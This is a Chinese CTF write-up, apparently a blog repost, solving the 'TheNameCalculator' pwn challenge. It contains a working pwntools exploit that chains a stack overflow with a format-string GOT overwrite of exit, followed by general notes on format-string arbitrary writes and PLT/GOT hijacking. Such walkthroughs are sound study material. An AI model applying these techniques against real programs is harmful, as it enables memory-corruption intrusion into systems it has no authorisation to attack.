TheNameCalculator題解
題目鏈接:TheNameCalculator
題解
首先看程式開啟的保護,有Canary和NX堆疊不可執行,

IDA打開程式,shift+F12查看字串,發現有"Here is your flag:",點進去通過交叉參考找到該字串在superSecretFunc()函式中,該函式可以執行"cat flag"命令獲得flag,使用交叉參考發現該函式沒有被任何地方呼叫,所以這道題就是想辦法修改某個執行地址為這個函式地址,從而執行該函式,

程式main函式中存在緩沖區溢位,通過溢位buf修改變數v4的值,從而執行secretFunc()函式,這很容易實作,

secretFunc()函式第22行存在格式化字串漏洞,buf內容為15行用戶輸入后經過第18、19行加密后的內容,程式利用的方法是修改exit_got的地址為superSecretFunc()函式地址,使程式在退出時執行相應函式,

通過gdb除錯,在0x80486d5處下斷點,發現字串偏移為0xff9143f0-0xff9143c0=0x30=48,即字串偏移位置為48/4=12,

還需要注意,buf[7]保存的是Canary,如果在偽代碼看不出的話可以通過匯編代碼看出來,函式最后進行了一系列比較,前兩個驗證回傳地址是否一致,第三個驗證Canary是否一致,

所以輸入的資料限制在28位元組內,構造格式化漏洞利用payload,其中superSecretFunc()函式地址為0x08048596,exit_got位于0x804a024,exit_got指向的地址前2位元組也是0x0804,所以只需要覆寫低2位元組,即將0x804a024開始的2位元組改為0x8596(34198).
payload = b"%34198c%16$hnaaa"+p32(0x804a024)
此外,因為程式會對用戶輸入的資料進行加密,所以我們需要對輸入進行處理使其經程式加密后為我們上面構造的payload,
最終exp如下
from pwn import *
context.log_level='debug'
p = remote('redirect.do-not-trust.hacking.run',10311)
payload = b'a'*0x1c + p32(0x6a4b825)
p.recvuntil('name?\n')
p.send(payload)
def encode(payload):
buf = list(payload)
for i in range(0,len(buf)-4):
temp = bytes(buf[i:i+4])
tmp = u32(temp)^0x5F7B4153
buf[i:i+4]=list(p32(tmp))
return bytes(buf)
payload = b"%34198c%16$hnaaa"+p32(0x804a024)
payload = encode(payload)
p.recvuntil('please\n')
p.send(payload)
p.recv()
p.interactive()
最侄訓得flag.

識訓
1.重溫了格式化字串漏洞利用方法
形式:printf(user_input)
利用:
泄露堆疊上地址:%[order]$p
任意記憶體覆寫:%[num]c%[order]$n[padding][addr]
需要計算格式化字串相對于傳入printf引數的堆疊上位置的相對偏移off_order,num為需要寫入的值,order為寫入地址相對堆疊引數位置相對偏移,padding為保證前面為4/8整數倍,addr為寫入地址,n表示寫入4位元組,hn為2位元組,hhn為單位元組,
也可使用pwntools的fmtstr_payload()函式
# 將addr地址處值改為value,order為格式化字串偏移
fmtstr_payload(order,{addr:value})
2.python型別轉化
bytes型別不能直接修改元素的值,可以用list()轉為串列修改,
串列轉為bytes型別可直接使用bytes()函式,
3.plt與got表
plt處的內容為一個jmp got表值
.plt:08048470 jmp ds:off_804A024
相應got.plt表位置對應了一個地址
.got.plt:0804A024 off_804A024 dd offset exit
可以通過修改函式got.plt值實作控制流轉移,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/532595.html
標籤:其他
上一篇:Nginx重寫功能(rewrite與location)
下一篇:上網部署(銳捷無線篇)
